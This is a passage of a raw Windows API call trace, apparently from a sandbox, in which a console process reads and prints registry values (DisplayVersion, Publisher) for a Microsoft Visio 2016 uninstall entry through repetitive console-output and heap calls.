0x1 [0146.995] lstrlenW (lpString=" ") returned 4 [0146.995] GetConsoleOutputCP () returned 0x1b5 [0146.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.995] GetConsoleOutputCP () returned 0x1b5 [0146.995] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.995] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.995] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.995] __iob_func () returned 0x7fefd702a80 [0146.995] _fileno (_File=0x7fefd702ab0) returned 1 [0146.995] _errno () returned 0xc4bb0 [0146.995] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.995] _errno () returned 0xc4bb0 [0146.995] GetFileType (hFile=0x50) returned 0x1 [0146.995] lstrlenW (lpString="REG_SZ") returned 6 [0146.995] GetConsoleOutputCP () returned 0x1b5 [0146.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.996] GetConsoleOutputCP () returned 0x1b5 [0146.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.996] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.996] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.996] __iob_func () returned 0x7fefd702a80 [0146.996] _fileno (_File=0x7fefd702ab0) returned 1 [0146.996] _errno () returned 0xc4bb0 [0146.996] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.996] _errno () returned 0xc4bb0 [0146.996] GetFileType (hFile=0x50) returned 0x1 [0146.996] lstrlenW (lpString=" ") returned 4 [0146.996] GetConsoleOutputCP () returned 0x1b5 [0146.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.996] GetConsoleOutputCP () returned 0x1b5 [0146.996] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.996] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.996] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.996] __iob_func () returned 0x7fefd702a80 [0146.997] _fileno (_File=0x7fefd702ab0) returned 1 [0146.997] _errno () returned 0xc4bb0 [0146.997] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.997] _errno () returned 0xc4bb0 [0146.997] GetFileType (hFile=0x50) returned 0x1 [0146.997] lstrlenW (lpString="Microsoft Visio Professional 2016 - en-us") returned 41 [0146.997] GetConsoleOutputCP () returned 0x1b5 [0146.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visio Professional 2016 - en-us", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0146.997] GetConsoleOutputCP () returned 0x1b5 [0146.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visio Professional 2016 - en-us", cchWideChar=41, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visio Professional 2016 - en-us", lpUsedDefaultChar=0x0) returned 41 [0146.997] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 41 [0146.997] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.997] __iob_func () returned 0x7fefd702a80 [0146.997] _fileno (_File=0x7fefd702ab0) returned 1 [0146.997] _errno () returned 0xc4bb0 [0146.997] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.997] _errno () returned 0xc4bb0 [0146.997] GetFileType (hFile=0x50) returned 0x1 [0146.997] lstrlenW (lpString="\n") returned 1 [0146.997] GetConsoleOutputCP () returned 0x1b5 [0146.997] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.997] GetConsoleOutputCP () returned 0x1b5 [0146.998] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.998] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.998] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.998] GetProcessHeap () returned 0x2e0000 [0146.998] GetProcessHeap () returned 0x2e0000 [0146.998] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.998] GetProcessHeap () returned 0x2e0000 [0146.998] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x58 [0146.998] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.998] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.998] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x20) returned 0x0 [0146.998] GetProcessHeap () returned 0x2e0000 [0146.998] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x22) returned 0x2f5bf0 [0146.998] GetProcessHeap () returned 0x2e0000 [0146.998] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0146.998] GetProcessHeap () returned 0x2e0000 [0146.998] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0146.998] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f5bf0, pcbData=0x23f670*=0x20 | out: pdwType=0x23f5f0*=0x1, pvData="16.0.8431.2079", pcbData=0x23f670*=0x1e) returned 0x0 [0146.998] __iob_func () returned 0x7fefd702a80 [0146.998] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.998] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.998] _fileno (_File=0x7fefd702ab0) returned 1 [0146.998] _errno () returned 0xc4bb0 [0146.998] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.998] _errno () returned 0xc4bb0 [0146.998] GetFileType (hFile=0x50) returned 0x1 [0146.998] lstrlenW (lpString=" ") returned 4 [0146.998] GetConsoleOutputCP () returned 0x1b5 [0146.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.999] GetConsoleOutputCP () returned 0x1b5 [0146.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.999] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.999] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.999] lstrlenW (lpString="DisplayVersion") returned 14 [0146.999] __iob_func () returned 0x7fefd702a80 [0146.999] _fileno (_File=0x7fefd702ab0) returned 1 [0146.999] _errno () returned 0xc4bb0 [0146.999] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.999] _errno () returned 0xc4bb0 [0146.999] GetFileType (hFile=0x50) returned 0x1 [0146.999] lstrlenW (lpString="DisplayVersion") returned 14 [0146.999] GetConsoleOutputCP () returned 0x1b5 [0146.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0146.999] GetConsoleOutputCP () returned 0x1b5 [0146.999] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0146.999] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0146.999] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.000] __iob_func () returned 0x7fefd702a80 [0147.000] _fileno (_File=0x7fefd702ab0) returned 1 [0147.000] _errno () returned 0xc4bb0 [0147.000] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.000] _errno () returned 0xc4bb0 [0147.000] GetFileType (hFile=0x50) returned 0x1 [0147.000] lstrlenW (lpString=" ") returned 4 [0147.000] GetConsoleOutputCP () returned 0x1b5 [0147.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.000] GetConsoleOutputCP () returned 0x1b5 [0147.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.000] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.000] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.000] __iob_func () returned 0x7fefd702a80 [0147.000] _fileno (_File=0x7fefd702ab0) returned 1 [0147.000] _errno () returned 0xc4bb0 [0147.000] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.000] _errno () returned 0xc4bb0 [0147.000] GetFileType (hFile=0x50) returned 0x1 [0147.000] lstrlenW (lpString="REG_SZ") returned 6 [0147.000] GetConsoleOutputCP () returned 0x1b5 [0147.000] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.000] GetConsoleOutputCP () returned 0x1b5 [0147.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.001] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.001] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.001] __iob_func () returned 0x7fefd702a80 [0147.001] _fileno (_File=0x7fefd702ab0) returned 1 [0147.001] _errno () returned 0xc4bb0 [0147.001] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.001] _errno () returned 0xc4bb0 [0147.001] GetFileType (hFile=0x50) returned 0x1 [0147.001] lstrlenW (lpString=" ") returned 4 [0147.001] GetConsoleOutputCP () returned 0x1b5 [0147.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.001] GetConsoleOutputCP () returned 0x1b5 [0147.001] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.001] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.001] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.001] __iob_func () returned 0x7fefd702a80 [0147.001] _fileno (_File=0x7fefd702ab0) returned 1 [0147.001] _errno () returned 0xc4bb0 [0147.001] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.001] _errno () returned 0xc4bb0 [0147.001] GetFileType (hFile=0x50) returned 0x1 [0147.001] lstrlenW (lpString="16.0.8431.2079") returned 14 [0147.002] GetConsoleOutputCP () returned 0x1b5 [0147.002] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8431.2079", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0147.002] GetConsoleOutputCP () returned 0x1b5 [0147.002] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="16.0.8431.2079", cchWideChar=14, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16.0.8431.2079", lpUsedDefaultChar=0x0) returned 14 [0147.002] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0147.002] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.002] __iob_func () returned 0x7fefd702a80 [0147.002] _fileno (_File=0x7fefd702ab0) returned 1 [0147.002] _errno () returned 0xc4bb0 [0147.002] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.002] _errno () returned 0xc4bb0 [0147.002] GetFileType (hFile=0x50) returned 0x1 [0147.002] lstrlenW (lpString="\n") returned 1 [0147.002] GetConsoleOutputCP () returned 0x1b5 [0147.002] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.002] GetConsoleOutputCP () returned 0x1b5 [0147.002] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.002] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.002] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.003] GetProcessHeap () returned 0x2e0000 [0147.003] GetProcessHeap () returned 0x2e0000 [0147.003] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0) returned 1 [0147.003] GetProcessHeap () returned 0x2e0000 [0147.003] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bf0) returned 0x22 [0147.003] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bf0 | out: hHeap=0x2e0000) returned 1 [0147.003] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.003] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0147.003] GetProcessHeap () returned 0x2e0000 [0147.003] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0147.003] GetProcessHeap () returned 0x2e0000 [0147.003] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.003] GetProcessHeap () returned 0x2e0000 [0147.003] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.003] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0147.003] __iob_func () returned 0x7fefd702a80 [0147.003] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.003] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.003] _fileno (_File=0x7fefd702ab0) returned 1 [0147.003] _errno () returned 0xc4bb0 [0147.003] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.003] _errno () returned 0xc4bb0 [0147.003] GetFileType (hFile=0x50) returned 0x1 [0147.004] lstrlenW (lpString=" ") returned 4 [0147.004] GetConsoleOutputCP () returned 0x1b5 [0147.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.004] GetConsoleOutputCP () returned 0x1b5 [0147.004] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.004] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.004] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.004] lstrlenW (lpString="Publisher") returned 9 [0147.004] __iob_func () returned 0x7fefd702a80 [0147.004] _fileno (_File=0x7fefd702ab0) returned 1 [0147.004] _errno () returned 0xc4bb0 [0147.004] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.004] _errno () returned 0xc4bb0 [0147.005] GetFileType (hFile=0x50) returned 0x1 [0147.005] lstrlenW (lpString="Publisher") returned 9 [0147.005] GetConsoleOutputCP () returned 0x1b5 [0147.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.005] GetConsoleOutputCP () returned 0x1b5 [0147.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0147.005] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.005] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.005] __iob_func () returned 0x7fefd702a80 [0147.005] _fileno (_File=0x7fefd702ab0) returned 1 [0147.005] _errno () returned 0xc4bb0 [0147.005] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.005] _errno () returned 0xc4bb0 [0147.005] GetFileType (hFile=0x50) returned 0x1 [0147.005] lstrlenW (lpString=" ") returned 4 [0147.005] GetConsoleOutputCP () returned 0x1b5 [0147.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.005] GetConsoleOutputCP () returned 0x1b5 [0147.005] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.006] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.006] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.006] __iob_func () returned 0x7fefd702a80 [0147.006] _fileno (_File=0x7fefd702ab0) returned 1 [0147.006] _errno () returned 0xc4bb0 [0147.006] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.006] _errno () returned 0xc4bb0 [0147.006] GetFileType (hFile=0x50) returned 0x1 [0147.006] lstrlenW (lpString="REG_SZ") returned 6 [0147.006] GetConsoleOutputCP () returned 0x1b5 [0147.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.006] GetConsoleOutputCP () returned 0x1b5 [0147.006] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.006] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.006] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.006] __iob_func () returned 0x7fefd702a80 [0147.006] _fileno (_File=0x7fefd702ab0) returned 1 [0147.006] _errno () returned 0xc4bb0 [0147.006] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.006] _errno () returned 0xc4bb0 [0147.006] GetFileType (hFile=0x50) returned 0x1 [0147.007] lstrlenW (lpString=" ") returned 4 [0147.007] GetConsoleOutputCP () returned 0x1b5 [0147.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.007] GetConsoleOutputCP () returned 0x1b5 [0147.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.007] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.007] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.007] __iob_func () returned 0x7fefd702a80 [0147.007] _fileno (_File=0x7fefd702ab0) returned 1 [0147.007] _errno () returned 0xc4bb0 [0147.007] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.007] _errno () returned 0xc4bb0 [0147.007] GetFileType (hFile=0x50) returned 0x1 [0147.007] lstrlenW (lpString="Microsoft Corporation") returned 21 [0147.007] GetConsoleOutputCP () returned 0x1b5 [0147.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0147.007] GetConsoleOutputCP () returned 0x1b5 [0147.007] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0147.007] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0147.007] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.008] __iob_func () returned 0x7fefd702a80 [0147.008] _fileno (_File=0x7fefd702ab0) returned 1 [0147.008] _errno () returned 0xc4bb0 [0147.008] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.008] _errno () returned 0xc4bb0 [0147.008] GetFileType (hFile=0x50) returned 0x1 [0147.008] lstrlenW (lpString="\n") returned 1 [0147.008] GetConsoleOutputCP () returned 0x1b5 [0147.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.008] GetConsoleOutputCP () returned 0x1b5 [0147.008] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.008] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.008] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.008] GetProcessHeap () returned 0x2e0000 [0147.008] GetProcessHeap () returned 0x2e0000 [0147.008] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.008] GetProcessHeap () returned 0x2e0000 [0147.008] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.008] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0147.008] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 